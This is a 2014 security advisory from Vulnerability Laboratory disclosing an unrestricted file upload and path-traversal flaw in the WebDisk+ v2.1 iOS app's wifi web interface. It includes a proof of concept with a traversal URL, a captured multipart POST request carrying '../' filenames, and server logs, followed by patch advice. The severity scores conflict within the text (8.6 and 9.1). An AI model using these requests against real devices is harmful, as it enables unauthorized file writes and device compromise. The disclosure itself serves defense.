WebDisk+ v2.1 iOS - Unrestricted File Upload Vulnerability

Document Title:
===============
WebDisk+ v2.1 iOS - Unrestricted File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1349


Release Date:
=============
2014-10-23


Vulnerability Laboratory ID (VL-ID):
====================================
1349


Common Vulnerability Scoring System:
====================================
8.6


Product & Service Introduction:
===============================
WebDisk+ is a Push verion of WebDisk. It have all Full functionality of WebDisk .lets your iphone/ipad become a file website over 
wi-fi netwrk.You can upload/download your document to your iphone/ipad on your pc browser over wi-fi. And it is also a document 
viewer.let you direct view your document on your iphone/iphone. WebDisk+ can support Upload and download large files (More than 4GB) 
form pc or other mobile device.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/webdisk+/id606709149 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a file upload web vulnerability in the official AirPhoto WebDisk+ v2.1 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-10-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
AirPhoto
Product: WebDisk+ - iOS Mobile Web Application (Wifi) 2.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An unrestricted file upload web vulnerability has been discovered in the official AirPhoto WebDisk+ v2.1 iOS mobile web-application.
The vulnerability allows remote attackers to upload an arbitrary (malicious) file to compromise the iOS web-application. 

The vulnerability is located in the `name` input field of the wifi web interface upload module (afupload.ma). The function creates 
the files without any protection or filter mechanism in the GET method request. Remote attackers are able to manipulate the POST 
method request by usage of the `p & filename` parameters in the `afupload.ma` file to compromise the mobile device web-application. 
The unrestricted file upload vulnerabilit occurs in the `afgetdir.ma` file and the execute occurs in the main index file dir listing. 
The attack vector is located on the application-side of the mobile app.

The security risk of the file uplaod vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.6.
Exploitation of the file upload web vulnerability requires no privileged application user account or user interaction. Successful exploitation 
of the vulnerability results in mobile application compromise and compromise of connected device components.

Request Method(s):
					[+] POST

Vulnerable Module(s):
					[+] Upload

Vulnerable File(s):
					[+] afupload.ma

Vulnerable Parameter(s):
					[+] p & filename

Affected Module(s):
					[+] Wifi Interface (http://localhost:1861)


Proof of Concept (PoC):
=======================
An unrestricted file upload web vulnerability has been discovered in the official AirPhoto WebDisk+ v2.1 iOS mobile web-application.
The vulnerability allows remote attackers to upload an arbitrary (malicious) file to compromise the iOS web-application. 

The vulnerability is located in the `name` input field of the wifi web interface upload module (afupload.ma). The function creates 
the files without any protection or filter mechanism in the GET method request. Remote attackers are able to manipulate the POST 
method request by usage of the `p & filename` parameters in the `afupload.ma` file to compromise the mobile device web-application. 
The unrestricted file upload vulnerabilit occurs in the `afgetdir.ma` file and the execute occurs in the main index file dir listing. 
The attack vector is located on the application-side of the mobile app.

The security risk of the file uplaod vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 9.1.
Exploitation of the file upload web vulnerability requires no privileged application user account or user interaction. Successful exploitation 
of the vulnerability results in mobile application compromise and compromise of connected device components.

Request Method(s):
					[+] POST

Vulnerable Module(s):
					[+] Upload

Vulnerable File(s):
					[+] afupload.ma

Vulnerable Parameter(s):
					[+] p & filename

Affected Module(s):
					[+] Wifi Interface (http://localhost:1861)



The unrestricted file upload web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: (URL)
http://localhost:1861/afgetdir.ma?p=..varmobileContainersDataApplication90ACE99A-5EF3-4E3E-B509-32CCDF066AA1Documents


PoC: localhost:1861 - Web Interface Index
<tr><td class="tdleft"><a href=""><img class="imgthum" src="afico/files_txt.png"></a></td>
<td class="tdmid">../[UNRESTRICTED UPLOADED MALICIOUS FILE!];</td>
<td class="tdright">10-22 13:28<br/><br/>
<a href="afdelete.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C%7C-%7C467299731.txt">delete</a></td>
</tr><tr><td colspan="3"  height="1"><hr class="spline" /></td>
</tr><tr></tr></table></body></html>
</iframe></td></tr>

Note:
The input field to create/upload files allows a remote attacker to execute codes directly in the web-server with multiple attack vectors.


--- PoC Session Logs (POST) ---
Status: 302[OK]
POST http://localhost:1861/afupload.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C 
   Request Header:
      Host[localhost:1861]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Referer[http://localhost:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------531465230341
Content-Disposition: form-data; name="txt"
../not_allowed_extension/
-----------------------------531465230341
Content-Disposition: form-data; name="file"; filename="../not_allowed_directory/newfile"
Content-Type: application/octet-stream
-----------------------------531465230341
Content-Disposition: form-data; name="sub"
upload
-----------------------------531465230341--]
   Response Header:
      Location[afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C]
      Content-Length[0]
      Server[MHttpServer/1.0.0] Status: 200[OK]
GET http://localhost:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C 
Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[3051] Mime Type[text/html]
   Request Header:
      Host[localhost:1861]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Content-Length[3051]
      Server[MHttpServer/1.0.0]


Reference(s):
afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C


Solution - Fix & Patch:
=======================
To patch the vulnerability it is required to parse and encode the upload POST method request.
Disallow special chars and restrict the input field of the p & filename parameter to prevent unrestricted file upload attacks.
Disallow multiple extensions to fix the arbitrary upload issue as well.


Security Risk:
==============
The security risk of the code execution web vulnerability in the path value is estimated as high. (CVSS 8.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 	       		- [email protected]
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
([email protected] or [email protected]) to get a permission.

				Copyright © 2014 | Vulnerability Laboratory - Evolution Security GmbH ™